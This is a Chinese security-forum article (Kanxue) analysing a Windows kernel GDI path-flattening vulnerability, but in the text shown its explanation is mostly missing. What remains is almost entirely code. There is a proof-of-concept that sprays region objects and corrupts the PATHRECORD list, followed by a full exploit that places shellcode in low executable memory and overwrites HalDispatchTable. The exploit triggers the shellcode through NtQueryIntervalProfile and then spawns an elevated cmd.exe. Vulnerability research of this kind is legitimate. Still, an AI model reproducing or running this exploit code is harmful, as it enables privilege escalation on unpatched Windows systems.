本文为看雪论坛优秀文章
看雪论坛作者ID:ExploitCN
一
前言
二
POC分析
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = (PATHRECORD*)(0x41414143);
PathRecord->prev = (PATHRECORD*)(0x42424244);
PathRecord->flags = 0;
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = 0;
PointTypes[PointNum] = PT_BEZIERTO;
}
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
图4 漏洞触发函数调用关系图
三
EXP分析
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
// 而0x40,就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr[ebp + 0x40]; // 0
__asm inc ecx
...........
}
CodeAddr = (PVOID)0x1000;
DWORD_PTR AllocSize = 0x1000;
DWORD_PTR ADDR = 0;
while (true)
{
DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
&CodeAddr,
0,
&AllocSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (ret != 0) {
ADDR = (DWORD_PTR)CodeAddr + 0x1000;
CodeAddr = (PVOID)ADDR;
continue;
}
else
{
break;
}
}
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
NtReadVirtualMemoryBuffer, CodeAddr);
printf("ShellCode_END = %p\n", ShellCode_END);
printf("ShellCode = %p\n", ShellCode);
printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);
memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);
while (TRUE)
{
Device = GetDC(NULL);
Mutex = CreateMutex(NULL, FALSE, NULL);
WaitForSingleObject(Mutex, INFINITE);
printf("Mutex = %x\n", Mutex);
Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL);
if ( Thread ==NULL)
{
printf("Create Thread Failed!\n");
continue;
}
printf("start CreateRoundRectRgn\n");
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}
printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions);
printf("Flattening curves...\n");
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
if (PathRecord->next!=PathRecord)
{
DWORD_PTR ret = FALSE;
SIZE_T Count = 0;
//CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformation
printf("CodeAddr = %x\n", (SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer);
printf("HalDispatchTable = %p\n", HalDispatchTable);
ret = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);
printf("ret = %x\n", ret);
if ( ret == NULL)
{
//在下面的调用shellcode那里打断点
ULONG ret = 0;
NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
return;
}
}
EndPath(Device);
}
while (NumRegion) {
DeleteObject(Regions[--NumRegion]);
}
printf("cleaning up...\n");
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
ReleaseDC(NULL, Device);
printf("ReStarting!\n");
}
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
printf("Enter WatchdogThread!\n");
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
{
printf("InterlockedExchangePointer\n");
while (NumRegion)
{
DeleteObject(Regions[--NumRegion]);
}
InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord);
}
else
{
printf("Mutex object did not timeout, list not patched\n");
}
printf("Leave WatchdogThread!\n");
return 0;
}
四
提权复现
五
源代码下载
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
3.什么是runC?
球分享
球点赞
球在看
点击“阅读原文”,了解更多!